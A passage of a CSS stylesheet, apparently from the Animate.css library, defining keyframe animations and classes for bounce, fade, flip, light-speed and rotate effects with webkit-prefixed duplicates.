{ -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInDown { -webkit-animation-name: bounceInDown; animation-name: bounceInDown; } @-webkit-keyframes bounceInLeft { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(-3000px, 0, 0); transform: translate3d(-3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInLeft { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(-3000px, 0, 0); transform: translate3d(-3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInLeft { -webkit-animation-name: bounceInLeft; animation-name: bounceInLeft; } @-webkit-keyframes bounceInRight { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(3000px, 0, 0); transform: translate3d(3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInRight { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(3000px, 0, 0); transform: translate3d(3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInRight { -webkit-animation-name: bounceInRight; animation-name: bounceInRight; } @-webkit-keyframes bounceInUp { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, 3000px, 0); transform: translate3d(0, 3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes bounceInUp { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, 3000px, 0); transform: translate3d(0, 3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .bounceInUp { -webkit-animation-name: bounceInUp; animation-name: bounceInUp; } @-webkit-keyframes bounceOut { 20% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } } @keyframes bounceOut { 20% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } } .bounceOut { -webkit-animation-name: bounceOut; animation-name: bounceOut; -webkit-animation-duration: .75s; animation-duration: .75s; } @-webkit-keyframes bounceOutDown { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @keyframes bounceOutDown { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } .bounceOutDown { -webkit-animation-name: bounceOutDown; animation-name: bounceOutDown; } @-webkit-keyframes bounceOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @keyframes bounceOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } .bounceOutLeft { -webkit-animation-name: bounceOutLeft; animation-name: bounceOutLeft; } @-webkit-keyframes bounceOutRight { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } @keyframes bounceOutRight { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } .bounceOutRight { -webkit-animation-name: bounceOutRight; animation-name: bounceOutRight; } @-webkit-keyframes bounceOutUp { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @keyframes bounceOutUp { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } .bounceOutUp { -webkit-animation-name: bounceOutUp; animation-name: bounceOutUp; } @-webkit-keyframes fadeIn { 0% {opacity: 0;} 100% {opacity: 1;} } @keyframes fadeIn { 0% {opacity: 0;} 100% {opacity: 1;} } .fadeIn { -webkit-animation-name: fadeIn; animation-name: fadeIn; } @-webkit-keyframes fadeInDown { 0% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInDown { 0% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInDown { -webkit-animation-name: fadeInDown; animation-name: fadeInDown; } @-webkit-keyframes fadeInDownBig { 0% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInDownBig { 0% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInDownBig { -webkit-animation-name: fadeInDownBig; animation-name: fadeInDownBig; } @-webkit-keyframes fadeInLeft { 0% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInLeft { 0% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInLeft { -webkit-animation-name: fadeInLeft; animation-name: fadeInLeft; } @-webkit-keyframes fadeInLeftBig { 0% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInLeftBig { 0% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInLeftBig { -webkit-animation-name: fadeInLeftBig; animation-name: fadeInLeftBig; } @-webkit-keyframes fadeInRight { 0% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInRight { 0% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInRight { -webkit-animation-name: fadeInRight; animation-name: fadeInRight; } @-webkit-keyframes fadeInRightBig { 0% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInRightBig { 0% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInRightBig { -webkit-animation-name: fadeInRightBig; animation-name: fadeInRightBig; } @-webkit-keyframes fadeInUp { 0% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInUp { 0% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInUp { -webkit-animation-name: fadeInUp; animation-name: fadeInUp; } @-webkit-keyframes fadeInUpBig { 0% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInUpBig { 0% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInUpBig { -webkit-animation-name: fadeInUpBig; animation-name: fadeInUpBig; } @-webkit-keyframes fadeOut { 0% {opacity: 1;} 100% {opacity: 0;} } @keyframes fadeOut { 0% {opacity: 1;} 100% {opacity: 0;} } .fadeOut { -webkit-animation-name: fadeOut; animation-name: fadeOut; } @-webkit-keyframes fadeOutDown { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } @keyframes fadeOutDown { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } .fadeOutDown { -webkit-animation-name: fadeOutDown; animation-name: fadeOutDown; } @-webkit-keyframes fadeOutDownBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @keyframes fadeOutDownBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } .fadeOutDownBig { -webkit-animation-name: fadeOutDownBig; animation-name: fadeOutDownBig; } @-webkit-keyframes fadeOutLeft { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } @keyframes fadeOutLeft { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } .fadeOutLeft { -webkit-animation-name: fadeOutLeft; animation-name: fadeOutLeft; } @-webkit-keyframes fadeOutLeftBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @keyframes fadeOutLeftBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } .fadeOutLeftBig { -webkit-animation-name: fadeOutLeftBig; animation-name: fadeOutLeftBig; } @-webkit-keyframes fadeOutRight { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } @keyframes fadeOutRight { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } .fadeOutRight { -webkit-animation-name: fadeOutRight; animation-name: fadeOutRight; } @-webkit-keyframes fadeOutRightBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } @keyframes fadeOutRightBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } .fadeOutRightBig { -webkit-animation-name: fadeOutRightBig; animation-name: fadeOutRightBig; } @-webkit-keyframes fadeOutUp { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } @keyframes fadeOutUp { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } .fadeOutUp { -webkit-animation-name: fadeOutUp; animation-name: fadeOutUp; } @-webkit-keyframes fadeOutUpBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @keyframes fadeOutUpBig { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } .fadeOutUpBig { -webkit-animation-name: fadeOutUpBig; animation-name: fadeOutUpBig; } @-webkit-keyframes flip { 0% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg); transform: perspective(400px) rotate3d(0, 1, 0, -360deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 40% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 50% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 80% { -webkit-transform: perspective(400px) scale3d(.95, .95, .95); transform: perspective(400px) scale3d(.95, .95, .95); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } } @keyframes flip { 0% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg); transform: perspective(400px) rotate3d(0, 1, 0, -360deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 40% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 50% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 80% { -webkit-transform: perspective(400px) scale3d(.95, .95, .95); transform: perspective(400px) scale3d(.95, .95, .95); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } } .animated.flip { -webkit-backface-visibility: visible; backface-visibility: visible; -webkit-animation-name: flip; animation-name: flip; } @-webkit-keyframes flipInX { 0% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } @keyframes flipInX { 0% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } .flipInX { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipInX; animation-name: flipInX; } @-webkit-keyframes flipInY { 0% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); transform: perspective(400px) rotate3d(0, 1, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); transform: perspective(400px) rotate3d(0, 1, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); transform: perspective(400px) rotate3d(0, 1, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } @keyframes flipInY { 0% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); transform: perspective(400px) rotate3d(0, 1, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); transform: perspective(400px) rotate3d(0, 1, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); transform: perspective(400px) rotate3d(0, 1, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } .flipInY { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipInY; animation-name: flipInY; } @-webkit-keyframes flipOutX { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } @keyframes flipOutX { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } .flipOutX { -webkit-animation-name: flipOutX; animation-name: flipOutX; -webkit-animation-duration: .75s; animation-duration: .75s; -webkit-backface-visibility: visible !important; backface-visibility: visible !important; } @-webkit-keyframes flipOutY { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); transform: perspective(400px) rotate3d(0, 1, 0, -15deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); opacity: 0; } } @keyframes flipOutY { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); transform: perspective(400px) rotate3d(0, 1, 0, -15deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); opacity: 0; } } .flipOutY { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipOutY; animation-name: flipOutY; -webkit-animation-duration: .75s; animation-duration: .75s; } @-webkit-keyframes lightSpeedIn { 0% { -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); transform: translate3d(100%, 0, 0) skewX(-30deg); opacity: 0; } 60% { -webkit-transform: skewX(20deg); transform: skewX(20deg); opacity: 1; } 80% { -webkit-transform: skewX(-5deg); transform: skewX(-5deg); opacity: 1; } 100% { -webkit-transform: none; transform: none; opacity: 1; } } @keyframes lightSpeedIn { 0% { -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); transform: translate3d(100%, 0, 0) skewX(-30deg); opacity: 0; } 60% { -webkit-transform: skewX(20deg); transform: skewX(20deg); opacity: 1; } 80% { -webkit-transform: skewX(-5deg); transform: skewX(-5deg); opacity: 1; } 100% { -webkit-transform: none; transform: none; opacity: 1; } } .lightSpeedIn { -webkit-animation-name: lightSpeedIn; animation-name: lightSpeedIn; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } @-webkit-keyframes lightSpeedOut { 0% { opacity: 1; } 100% { -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); transform: translate3d(100%, 0, 0) skewX(30deg); opacity: 0; } } @keyframes lightSpeedOut { 0% { opacity: 1; } 100% { -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); transform: translate3d(100%, 0, 0) skewX(30deg); opacity: 0; } } .lightSpeedOut { -webkit-animation-name: lightSpeedOut; animation-name: lightSpeedOut; -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } @-webkit-keyframes rotateIn { 0% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, -200deg); transform: rotate3d(0, 0, 1, -200deg); opacity: 0; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateIn { 0% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, -200deg); transform: rotate3d(0, 0, 1, -200deg); opacity: 0; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: none; transform: none; opacity: 1; } } .rotateIn { -webkit-animation-name: rotateIn; animation-name: rotateIn; } @-webkit-keyframes rotateInDownLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInDownLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInDownLeft { -webkit-animation-name: rotateInDownLeft; animation-name: rotateInDownLeft; } @-webkit-keyframes rotateInDownRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInDownRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInDownRight { -webkit-animation-name: rotateInDownRight; animation-name: rotateInDownRight; } @-webkit-keyframes rotateInUpLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInUpLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInUpLeft { -webkit-animation-name: rotateInUpLeft; animation-name: rotateInUpLeft; } @-webkit-keyframes rotateInUpRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -90deg); transform: rotate3d(0, 0, 1, -90deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInUpRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -90deg); transform: rotate3d(0, 0, 1, -90deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInUpRight { -webkit-animation-name: rotateInUpRight; animation-name: rotateInUpRight; } @-webkit-keyframes rotateOut { 0% { -webkit-transform-origin: center; transform-origin: center; opacity: 1; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, 200deg); transform: rotate3d(0, 0, 1, 200deg); opacity: 0; } } @keyframes rotateOut { 0% { -webkit-transform-origin: center; transform-origin: center; opacity: 1; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, 200deg); transform: rotate3d(0, 0, 1, 200deg); opacity: 0; } } .rotateOut { -webkit-animation-name: rotateOut; animation-name: rotateOut; } @-webkit-keyframes rotateOutDownLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } } @keyframes rotateOutDownLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } } .rotateOutDownLeft { -webkit-animation-name: rotateOutDownLeft; animation-name: rotateOutDownLeft; } @-webkit-keyframes rotateOutDownRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } @keyframes rotateOutDownRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } .rotateOutDownRight { -webkit-animation-name: rotateOutDownRight; animation-name: rotateOutDownRight; } 